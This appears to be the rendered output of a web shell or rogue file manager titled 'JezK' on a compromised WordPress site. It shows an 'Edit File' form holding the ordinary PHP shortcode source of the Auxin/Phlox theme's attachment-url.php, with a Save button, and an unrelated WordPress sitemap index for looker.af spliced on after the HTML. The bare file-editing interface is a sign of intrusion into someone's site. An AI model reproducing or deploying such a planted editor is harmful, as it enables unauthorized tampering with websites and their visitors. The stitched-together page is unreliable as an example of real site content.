
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: attachment-url.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Retrieves attachment URL
 *
 * 
 * @package    Auxin
 * @license    LICENSE.txt
 * @author     averta
 * @link       http://phlox.pro/
 * @copyright  (c) 2010-2024 averta
 */

add_shortcode( &#039;aux_attach_url&#039;, &#039;auxin_shortcode_attach_id&#039; );

function auxin_shortcode_attach_id( $atts, $content = null ) {
    extract( shortcode_atts( array( &#039;id&#039; =&gt; &#039;&#039; ) , $atts ) );
    if( empty( $id ) ){
        return &#039;&#039;;
    }
    return wp_get_attachment_url( $id );
}


add_shortcode( &#039;aux_responsive_image_tag&#039;, &#039;auxin_shortcode_responsive_image_tag&#039; );

function auxin_shortcode_responsive_image_tag( $atts, $content = null ) {

    $attrs = shortcode_atts(
        array(
            &#039;id&#039;              =&gt; &#039;&#039;,
            &#039;quality&#039;         =&gt; 100,
            &#039;preloadable&#039;     =&gt; true, // Set it to &quot;true&quot; or &quot;null&quot; in order make the image ready for preloading, &quot;true&quot; will load the best match as well.
            &#039;preload_preview&#039; =&gt; true, // (true, false, &#039;progress&#039;) if true, insert a low quality placeholder until lazyloading the main image. If set to progress, display a progress animation as a placeholder.
            &#039;upscale&#039;         =&gt; false,
            &#039;size&#039;            =&gt; &#039;large&#039;,
            &#039;crop&#039;            =&gt; null,
            &#039;add_hw&#039;          =&gt; true,
            &#039;add_ratio&#039;       =&gt; true,
            &#039;sizes&#039;           =&gt; &#039;auto&#039;, // (sizes)
            &#039;srcset&#039;          =&gt; &#039;auto&#039;, // (srcset) automatically calculate the image sizes based on the &#039;size&#039; param, OR &#039;wp&#039; generates image srcs based on WP default image sizes
            &#039;original_src&#039;    =&gt; true,
            &#039;extra_class&#039;     =&gt; &#039;&#039;
        ),
    $atts );


    if( empty( $attrs[&#039;id&#039;] ) ){
        return &#039;&#039;;
    }

    return auxin_get_the_responsive_attachment( $attrs[&#039;id&#039;], $attrs );
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
